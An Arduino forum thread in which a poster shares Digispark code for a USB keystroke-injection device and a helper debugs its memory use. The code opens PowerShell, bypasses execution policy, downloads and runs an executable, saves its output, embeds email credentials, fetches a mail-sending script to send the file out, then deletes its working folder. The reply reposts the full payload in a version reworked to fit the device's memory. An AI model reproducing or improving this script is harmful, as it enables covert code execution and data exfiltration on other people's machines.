Author Topic: Problems With Code Compiling  (Read 3694 times)

Loaf

  • Newbie
  • *
  • Posts: 1
Problems With Code Compiling
« on: January 26, 2017, 10:23:25 pm »
Ok, so, i'm fairly new to the arduino scene, but i wrote this bit of code to get a file on a computer and then upload it to an email (The email script is in the second link in the code) but the trouble is, when i go to go to plug the flashed digispark in, it opens up the start menu and prints "tr)"
Code: [Select]
#include "DigiKeyboard.h"
void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("cd /; mkdir asdf; cd asdf; echo (wget 'Link To Application' -OutFile a.exe) > b.PS1; powershell -ExecutionPolicy ByPass -File b.ps1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(10000);
  DigiKeyboard.print("start a.exe /stext a.txt");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("echo set -Name Acc -Value foo@bar.com > c.ps1; echo set -Name Pass -Value pass123 >> c.ps1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("echo (wget 'Link To EMail Sending Code' -OutFile d.ps1) > e.PS1; powershell -ExecutionPolicy ByPass -File e.ps1; gc d.ps1 >> c.ps1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(10000);
  DigiKeyboard.print("powershell -ExecutionPolicy ByPass -File c.ps1; cd /; rd /s /q asdf; exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  }
void loop() {}
Any ideas on whats going wrong?

PeterF

  • Hero Member
  • *****
  • Posts: 881
Re: Problems With Code Compiling
« Reply #1 on: January 27, 2017, 05:08:11 am »
Firstly, welcome!

Now, it looks like you are using 552 bytes of the absolute maximum 512 bytes of SRAM on the Digispark. I generally suggest that anything over 450 bytes is looking for trouble, as I don't know what the memory usage digispark bootloader and Arduino bits are.

The reason so much memory is being used is because of all of the strings/tempoary variables being used. For instance, line 9

DigiKeyboard.print("cd /; mkdir asdf; cd asdf; echo (wget 'Link To Application' -OutFile a.exe) > b.PS1; powershell -ExecutionPolicy ByPass -File b.ps1");

seems to be consuming a whopping 132 bytes(which is consistent with it being 131 characters, with one byte for each character plus a null terminator).

So, what is the solution? Best I can come up with at the moment is what I proposed to someone else having similar issues with long strings causing crashes and other strange stuff. Namely, get the Digispark to store the really big strings just in program/flash memory (not SRAM), and pull them in when you need them.

In your case, it could become something like... (note this is version is untested but I don't think I changed anything that would break things...  :o )

Code: [Select]
#include <avr/pgmspace.h>
#include "DigiKeyboard.h"

const char long_line_1[] PROGMEM = "cd /; mkdir asdf; cd asdf; echo (wget 'Link To Application' -OutFile a.exe) > b.PS1; powershell -ExecutionPolicy ByPass -File b.ps1";
const char long_line_2[] PROGMEM = "echo set -Name Acc -Value foo@bar.com > c.ps1; echo set -Name Pass -Value pass123 >> c.ps1";
const char long_line_3[] PROGMEM = "echo (wget 'Link To EMail Sending Code' -OutFile d.ps1) > e.PS1; powershell -ExecutionPolicy ByPass -File e.ps1; gc d.ps1 >> c.ps1";
const char long_line_4[] PROGMEM = "powershell -ExecutionPolicy ByPass -File c.ps1; cd /; rd /s /q asdf; exit";
char buffer[132]; //as long as longest string + 1 for null

#define GetPsz( x ) (strcpy_P(buffer, (char*)x))

void setup()
{
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(GetPsz(long_line_1)); //get this one from program memory
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(10000);
  DigiKeyboard.print("start a.exe /stext a.txt");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(GetPsz(long_line_2)); //get this one from program memory
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(GetPsz(long_line_3)); //get this one from program memory
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(10000);
  DigiKeyboard.print(GetPsz(long_line_4)); //get this one from program memory
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Compile-wise, things changed from

From:
Sketch uses 3,334 bytes (55%) of program storage space. Maximum is 6,012 bytes.
Global variables use 552 bytes of dynamic memory.


To:
Sketch uses 3,380 bytes (56%) of program storage space. Maximum is 6,012 bytes.
Global variables use 256 bytes of dynamic memory.


So it's looking much better SRAM (dynamic memory) wise...
« Last Edit: January 27, 2017, 05:14:33 am by PeterF »